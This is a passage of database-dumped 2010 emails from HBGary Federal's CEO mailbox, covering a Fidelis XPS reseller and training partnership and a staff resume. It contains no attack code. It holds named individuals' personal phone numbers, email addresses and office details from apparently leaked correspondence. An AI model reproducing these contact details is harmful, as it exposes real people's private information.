started.&nbsp; They are hoping to\r\nlaunch this integrated offering by June 14.\r\nDavid&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:26\r\nAM\r\nTo: Etue, David\r\nCc: Harvey,\r\n Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n&nbsp;Great.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKevin, &nbsp;can we set up some training for these guys soonest?\r\n&nbsp;Overall introduction will be great with a focus on those capabilities we\r\nwould most use for incident response engagement; network discovery, session\r\nreconstruction, traffic isolation and analysis, integration with our Active\r\nDefense capabilities (so APIs).\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYep – we\r\nshould connect them with Kevin Harvey (cc’d), who will coordinate the\r\ntraining.&nbsp;&nbsp;Understanding our\r\npolicy components and structure is key to success.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03, 2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing. &nbsp;Should\r\nwe have a conversation and potential demo of these capabilities for the folks\r\nout here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn a call with them – you okay if I mention your\r\nupcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7669,'aaron_hbgary_com/7669.html'),(7141,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005190.M63579P14101Q1995.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: resale/referral program discussion with HB Gary','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Etue, David\" \r\n> Date: June 7, 2010 9:56:50 AM EDT\r\n> To: \"Bertone, Kurt\" , \"Benedetti, Gary\" , \"Aaron Barr\" \r\n> Subject: resale/referral program discussion with HB Gary\r\n> \r\n> When: Tuesday, June 08, 2010 10:30 AM-11:30 AM (GMT-05:00) Eastern Time (US & Canada).\r\n> \r\n> Where: Phone Number:    3018416585, 0139939\r\n> \r\n> Note: The GMT offset above does not reflect daylight saving time adjustments.\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n> MOVING BACK 30 MIN…\r\n> \r\n> \r\n> Kurt and Gary to provide review of Fidelis channel, reseller and agent programs to design a program to enable HB Gary Incident Response goals\r\n> \r\n> From the e-mail thread - RE: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n> \r\n> Reseller / leave behind proposal – I see two different opportunities here, and they aren’t mutually exclusive.  Kurt leads our Channel Partner program and can provide details on becoming an authorized reseller.  Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.  We also have a referral agreement program, lead out of our sales organizations.  Gary Benedetti (VP, Sales) can provide the details. I’d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense. \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8254,'aaron_hbgary_com/8254.html'),(7142,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005190.M636029P14101Q1997.eml','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','Re: Enabling HB Gary Incident Response Teams with Fidelis XPS','I\'ll give you a call tomorrow.AaronOn Jun 7, 2010, at 9:31 AM, Sweeney, Stacey wrote:Aaron - if we can connect today or tomorrow?&nbsp;Thanks.Stacey&nbsp;Stacey Fairbairn SweeneyVice President, MarketingFidelis Security Systems301.652.7190 x115 (direct)571.228.2249 (mobile)Stacey.Sweeney@FidelisSecurity.comTwitter: @FidSecSys&nbsp;&nbsp;&nbsp;From:&nbsp;Etue, David&nbsp;Sent:&nbsp;Monday, June 07, 2010 8:47 AMTo:&nbsp;Aaron Barr; Sweeney, StaceySubject:&nbsp;RE: Enabling HB Gary Incident Response Teams with Fidelis XPSAaron,&nbsp;I wanted to make sure you and Stacey had connected.&nbsp; To meet your launch next week, we need to make sure we’ve coordinated any support you require from Fidelis at FIRST (brochures, etc.), as well as web site and press release coordination.&nbsp;DavidFrom: Etue, David&nbsp;To: Sweeney, Stacey&nbsp;Cc: Bertone, Kurt&nbsp;Sent: Mon Jun 07 08:38:18 2010Subject: RE: Enabling HB Gary Incident Response Teams with Fidelis XPSStacey,Have you and Aaron caught up?&nbsp; If we/they are announcing this next week, we need to get moving on the web site and press release items.&nbsp;David&nbsp;From:&nbsp;Etue, David&nbsp;Sent:&nbsp;Tuesday, May 25, 2010 5:22 PMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, Stacey; Mancini, Jerry; Harvey, KevinSubject:&nbsp;Enabling HB Gary Incident Response Teams with Fidelis XPS&nbsp;Aaron,&nbsp;Thanks for your time to discuss how we can work together to integrate Fidelis XPS in a Scout form factor into your incident response offerings at HB Gary Federal.&nbsp; I would like to bring some of the broader Fidelis team into the discussion (cc’d on this e-mail), and work on some next steps.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Agreements – you should have received counter-signed partner agreements back from&nbsp;Gary Kramer (CFO).&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Access to VMs and API guide – with the signed agreement, you will get a portal account.&nbsp;&nbsp;Kurt Bertone (VP, Strategic Alliances)will ensure the portal account process gets kicked off.&nbsp;&nbsp;Should we issue you the account, or is there a technical lead on your team whose name we should put the account it?&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’d recommend you download and install Fidelis XPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be almost identical in functionality to the Scout platform.1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fidelis XPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD, 1 vNIC2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fidelis XPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB HDD, 4 vNICs·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The API guide will be included, and covers the varying integration scenarios.&nbsp;&nbsp;Kurt and Jerry Mancini (VP, Engineering)can organize resources to provide technical support on the API.&nbsp; Our file extraction API is changing to make it much easier with our 6.2 release, so it may make sense to schedule a call with Jerry to discuss.&nbsp; I’ve also attached the latest version of my proposed integration guide in case its useful.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Training – Fidelis will provide a complimentary technical training session either in Bethesda or web-based, depending which is preferred for the HB Gary Federal team, led by&nbsp;Kevin Harvey (Senior Sales Engineer), with assistance from Jerry on the API.&nbsp;&nbsp;There is also a chance that Kevin may be in Colorado Springs, so we may be able to have that as the location.&nbsp;&nbsp;Getting dates confirmed quickly will be important to meet the aggressive launch date.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marketing Launch –&nbsp;Stacey Sweeney (VP, Marketing)&nbsp;will lead this from the Fidelis side. &nbsp;I’ve discussed supporting FIRST in mid-June, so we’d need to move quickly.&nbsp; We’d like to get HB Gary featured on our partner web site with a description of the incident response offerings, and would also be interested in a joint press release.&nbsp; We also likely could provide some collateral on our products for the event.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Procuring a Scout – As we discussed, we are very excited about the Scout driving incident response opportunities.&nbsp; In order to best determine how this business model will work, we propose that we make available a Scout at an aggressive discount with a 3-6 month license included.&nbsp; At the end of the included license period, we get together and mutually review the results and determine how best to license the system moving forward.&nbsp; Given your reseller / leave behind proposal interests, I think there could be a lot of potentially models. As I mentioned, we have the ability to be very aggressive on the Scout 1 cu ft form factor, as we are transitioning to a laptop-based model.&nbsp;&nbsp;Kurt, Gary and I&nbsp;will lead this process from Fidelis.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Reseller / leave behind proposal – I see two different opportunities here, and they aren’t mutually exclusive.&nbsp;&nbsp;Kurt&nbsp;leads our Channel Partner program and can provide details on becoming an authorized reseller.&nbsp; Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.&nbsp; We also have a referral agreement program, lead out of our sales organizations.&nbsp;&nbsp;Gary Benedetti (VP, Sales)&nbsp;can provide the details. I’d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense.&nbsp;&nbsp;Aaron – can you provide a few times you have available in the next week?&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“Go to market plan” – we like to put together a very simple document so that we understand the goals and objectives of the partnership.&nbsp; This shouldn’t be more than 2 pages, covering roadmap and rules of engagement document so we know how to engage in the field.&nbsp; Gary Benedetti and I&nbsp;can help on the Fidelis side.&nbsp; We’ll start the template and provide it to you.&nbsp;&nbsp;We are excited about this offering and look forward to helping launch it!&nbsp;David&nbsp;Fidelis Security SystemsDavid Etue, CIPP/GVP, Products and Markets4416 East West Highway, Suite 310Bethesda, MD 20814david.etue@fidelissecurity.comhttp://www.fidelissecurity.comtel:&nbsp;fax:&nbsp;mobile:(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;Always have my latest infoWant a signature like this?&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15698,'aaron_hbgary_com/15698.html'),(7143,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005190.M894618P14101Q1998.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Enabling HB Gary Incident Response Teams with Fidelis XPS','Dave,How about we get a beer on Friday? &nbsp;I am working to set up a fidelis demo with Ted and Mark on our side for Friday afternoon, maybe after that we can go get a drink.AaronOn Jun 7, 2010, at 8:47 AM, Etue, David wrote:Aaron,&nbsp;I wanted to make sure you and Stacey had connected.&nbsp; To meet your launch next week, we need to make sure we’ve coordinated any support you require from Fidelis at FIRST (brochures, etc.), as well as web site and press release coordination.&nbsp;DavidFrom: Etue, David&nbsp;To: Sweeney, Stacey&nbsp;Cc: Bertone, Kurt&nbsp;Sent: Mon Jun 07 08:38:18 2010Subject: RE: Enabling HB Gary Incident Response Teams with Fidelis XPSStacey,Have you and Aaron caught up?&nbsp; If we/they are announcing this next week, we need to get moving on the web site and press release items.&nbsp;David&nbsp;From:&nbsp;Etue, David&nbsp;Sent:&nbsp;Tuesday, May 25, 2010 5:22 PMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, Stacey; Mancini, Jerry; Harvey, KevinSubject:&nbsp;Enabling HB Gary Incident Response Teams with Fidelis XPS&nbsp;Aaron,&nbsp;Thanks for your time to discuss how we can work together to integrate Fidelis XPS in a Scout form factor into your incident response offerings at HB Gary Federal.&nbsp; I would like to bring some of the broader Fidelis team into the discussion (cc’d on this e-mail), and work on some next steps.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Agreements – you should have received counter-signed partner agreements back from&nbsp;Gary Kramer (CFO).&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Access to VMs and API guide – with the signed agreement, you will get a portal account.&nbsp;&nbsp;Kurt Bertone (VP, Strategic Alliances)will ensure the portal account process gets kicked off.&nbsp;&nbsp;Should we issue you the account, or is there a technical lead on your team whose name we should put the account it?&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’d recommend you download and install Fidelis XPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be almost identical in functionality to the Scout platform.1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fidelis XPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD, 1 vNIC2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fidelis XPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB HDD, 4 vNICs·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The API guide will be included, and covers the varying integration scenarios.&nbsp;&nbsp;Kurt and Jerry Mancini (VP, Engineering)can organize resources to provide technical support on the API.&nbsp; Our file extraction API is changing to make it much easier with our 6.2 release, so it may make sense to schedule a call with Jerry to discuss.&nbsp; I’ve also attached the latest version of my proposed integration guide in case its useful.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Training – Fidelis will provide a complimentary technical training session either in Bethesda or web-based, depending which is preferred for the HB Gary Federal team, led by&nbsp;Kevin Harvey (Senior Sales Engineer), with assistance from Jerry on the API.&nbsp;&nbsp;There is also a chance that Kevin may be in Colorado Springs, so we may be able to have that as the location.&nbsp;&nbsp;Getting dates confirmed quickly will be important to meet the aggressive launch date.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marketing Launch –&nbsp;Stacey Sweeney (VP, Marketing)&nbsp;will lead this from the Fidelis side. &nbsp;I’ve discussed supporting FIRST in mid-June, so we’d need to move quickly.&nbsp; We’d like to get HB Gary featured on our partner web site with a description of the incident response offerings, and would also be interested in a joint press release.&nbsp; We also likely could provide some collateral on our products for the event.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Procuring a Scout – As we discussed, we are very excited about the Scout driving incident response opportunities.&nbsp; In order to best determine how this business model will work, we propose that we make available a Scout at an aggressive discount with a 3-6 month license included.&nbsp; At the end of the included license period, we get together and mutually review the results and determine how best to license the system moving forward.&nbsp; Given your reseller / leave behind proposal interests, I think there could be a lot of potentially models. As I mentioned, we have the ability to be very aggressive on the Scout 1 cu ft form factor, as we are transitioning to a laptop-based model.&nbsp;&nbsp;Kurt, Gary and I&nbsp;will lead this process from Fidelis.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Reseller / leave behind proposal – I see two different opportunities here, and they aren’t mutually exclusive.&nbsp;&nbsp;Kurt&nbsp;leads our Channel Partner program and can provide details on becoming an authorized reseller.&nbsp; Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.&nbsp; We also have a referral agreement program, lead out of our sales organizations.&nbsp;&nbsp;Gary Benedetti (VP, Sales)&nbsp;can provide the details. I’d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense.&nbsp;&nbsp;Aaron – can you provide a few times you have available in the next week?&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“Go to market plan” – we like to put together a very simple document so that we understand the goals and objectives of the partnership.&nbsp; This shouldn’t be more than 2 pages, covering roadmap and rules of engagement document so we know how to engage in the field.&nbsp; Gary Benedetti and I&nbsp;can help on the Fidelis side.&nbsp; We’ll start the template and provide it to you.&nbsp;&nbsp;We are excited about this offering and look forward to helping launch it!&nbsp;David&nbsp;Fidelis Security SystemsDavid Etue, CIPP/GVP, Products and Markets4416 East West Highway, Suite 310Bethesda, MD 20814david.etue@fidelissecurity.comhttp://www.fidelissecurity.comtel:&nbsp;fax:&nbsp;mobile:(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;Always have my latest infoWant a signature like this?&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1994,'aaron_hbgary_com/1994.html'),(7144,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005191.M166948P14101Q1999.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: Resume','Nothing really like criminal forensics, but I do have:\r\n\r\nPen test / vulnerability assessment\r\nHacking / vulnerability research / proof-of-concept exploit development\r\nSystem security engineering\r\nIncident response for servers which I administered, log-file analysis,\r\ncore-dump analysis, etc\r\nIncident response for internet-facing Gov\'t systems that had been\r\nhacked / defaced\r\n\r\nTed\r\n\r\n\r\n\r\nOn Mon, Jun 7, 2010 at 5:12 PM, Maria Lucas  wrote:\r\n> Thanks Ted!\r\n>\r\n> Do you have experience with \"forensic\" investigations?  Mike do you think\r\n> this resume ties into the qualifications they are looking for?\r\n>\r\n> Maria\r\n>\r\n> On Mon, Jun 7, 2010 at 4:01 PM, Ted Vera  wrote:\r\n>>\r\n>> Attached.  Mark will send his in a few minutes.\r\n>>\r\n>> Ted\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>\r\n> Website:  www.hbgary.com |email: maria@hbgary.com\r\n>\r\n> http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5322,'aaron_hbgary_com/5322.html'),(7145,'2010-06-08','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005191.M469176P14101Q2000.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds great!&nbsp; \r\n\r\n&nbsp;\r\n\r\nI&#8217;ll be coming from Arlington, so something that either beats\r\ntraffic or is metro friendly would be awesome. \r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 7:55 PM\r\nTo: Etue, David\r\nSubject: Re: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDave,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about we get a beer on Friday? &nbsp;I am working to set\r\nup a fidelis demo with Ted and Mark on our side for Friday afternoon, maybe\r\nafter that we can go get a drink.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 7, 2010, at 8:47 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wanted to make sure you and Stacey had connected.&nbsp; To\r\nmeet your launch next week, we need to make sure we&#8217;ve coordinated any support\r\nyou require from Fidelis at FIRST (brochures, etc.), as well as web site and\r\npress release coordination.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David&nbsp;\r\nTo: Sweeney, Stacey&nbsp;\r\nCc: Bertone, Kurt&nbsp;\r\nSent: Mon Jun 07 08:38:18 2010\r\nSubject: RE: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\nStacey,\r\n\r\nHave you and Aaron caught up?&nbsp; If we/they are announcing this next week,\r\nwe need to get moving on the web site and press release items.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;\r\nSent:&nbsp;Tuesday, May 25,\r\n2010 5:22 PM\r\nTo:&nbsp;\'Aaron Barr\'\r\nCc:&nbsp;Bertone, Kurt;\r\nBenedetti, Gary; Kraemer, Gary; Sweeney, Stacey; Mancini, Jerry; Harvey, Kevin\r\nSubject:&nbsp;Enabling HB Gary\r\nIncident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor your time to discuss how we can work together to integrate Fidelis XPS in a\r\nScout form factor into your incident response offerings at HB Gary\r\nFederal.&nbsp; I would like to bring some of the broader Fidelis team into the\r\ndiscussion (cc&#8217;d on this e-mail), and work on some next steps.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Agreements &#8211; you should have received\r\ncounter-signed partner agreements back from&nbsp;Gary\r\nKramer (CFO).&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Access to VMs and API guide &#8211; with the\r\nsigned agreement, you will get a portal account.&nbsp;&nbsp;Kurt Bertone (VP, Strategic\r\nAlliances)will ensure the portal account process gets kicked off.&nbsp;&nbsp;Should we issue you the account,\r\nor is there a technical lead on your team whose name we should put the account\r\nit?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I&#8217;d recommend you download and install\r\nFidelis XPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be\r\nalmost identical in functionality to the Scout platform.\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fidelis XPS CommandPost VM requirements:\r\nVMware vSphere, 2 vCPU, 2GB memory, 100GB HDD, 1 vNIC\r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fidelis XPS Direct VM requirements:&nbsp;\r\nVMware vSphere, 8 vCPU, 16GB memory, 30GB HDD, 4 vNICs\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The API guide will be included, and covers\r\nthe varying integration scenarios.&nbsp;&nbsp;Kurt\r\nand Jerry Mancini (VP, Engineering)can organize resources to provide\r\ntechnical support on the API.&nbsp; Our file extraction API is changing to make\r\nit much easier with our 6.2 release, so it may make sense to schedule a call\r\nwith Jerry to discuss.&nbsp; I&#8217;ve also attached the latest version of my\r\nproposed integration guide in case its useful.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Training &#8211; Fidelis will provide a\r\ncomplimentary technical training session either in Bethesda or web-based,\r\ndepending which is preferred for the HB Gary Federal team, led by&nbsp;Kevin Harvey (Senior Sales\r\nEngineer), with assistance from Jerry on the API.&nbsp;&nbsp;There is also\r\na chance that Kevin may be in Colorado Springs, so we may be able to have that\r\nas the location.&nbsp;&nbsp;Getting\r\ndates confirmed quickly will be important to meet the aggressive launch date.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Marketing Launch &#8211;&nbsp;Stacey Sweeney (VP, Marketing)&nbsp;will lead this from the Fidelis side.\r\n&nbsp;I&#8217;ve discussed supporting FIRST in mid-June, so we&#8217;d need to move\r\nquickly.&nbsp; We&#8217;d like to get HB Gary featured on our partner web site with a\r\ndescription of the incident response offerings, and would also be interested in\r\na joint press release.&nbsp; We also likely could provide some collateral on\r\nour products for the event.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Procuring a Scout &#8211; As we discussed, we are\r\nvery excited about the Scout driving incident response opportunities.&nbsp; In\r\norder to best determine how this business model will work, we propose that we\r\nmake available a Scout at an aggressive discount with a 3-6 month license\r\nincluded.&nbsp; At the end of the included license period, we get together and\r\nmutually review the results and determine how best to license the system moving\r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think\r\nthere could be a lot of potentially models. As I mentioned, we have the ability\r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning\r\nto a laptop-based model.&nbsp;&nbsp;Kurt,\r\nGary and I&nbsp;will lead this\r\nprocess from Fidelis.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Reseller / leave behind proposal &#8211; I see\r\ntwo different opportunities here, and they aren&#8217;t mutually exclusive.&nbsp;&nbsp;Kurt&nbsp;leads our Channel Partner program and\r\ncan provide details on becoming an authorized reseller.&nbsp; Additionally,\r\nsince you are primarily targeting federal customers, it may be difficult for HB\r\nGary Federal to sell the solution without access to particular contract\r\nvehicles.&nbsp; We also have a referral agreement program, lead out of our\r\nsales organizations.&nbsp;&nbsp;Gary\r\nBenedetti (VP, Sales)&nbsp;can\r\nprovide the details. I&#8217;d suggest that we schedule a call between the four of us\r\nto discuss next steps, as one or more may make sense.&nbsp;&nbsp;Aaron &#8211; can you provide a few\r\ntimes you have available in the next week?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Go to market plan&#8221; &#8211; we like to put\r\ntogether a very simple document so that we understand the goals and objectives\r\nof the partnership.&nbsp; This shouldn&#8217;t be more than 2 pages, covering roadmap\r\nand rules of engagement document so we know how to engage in the field.&nbsp;\r\nGary Benedetti and I&nbsp;can help\r\non the Fidelis side.&nbsp; We&#8217;ll start the template and provide it to 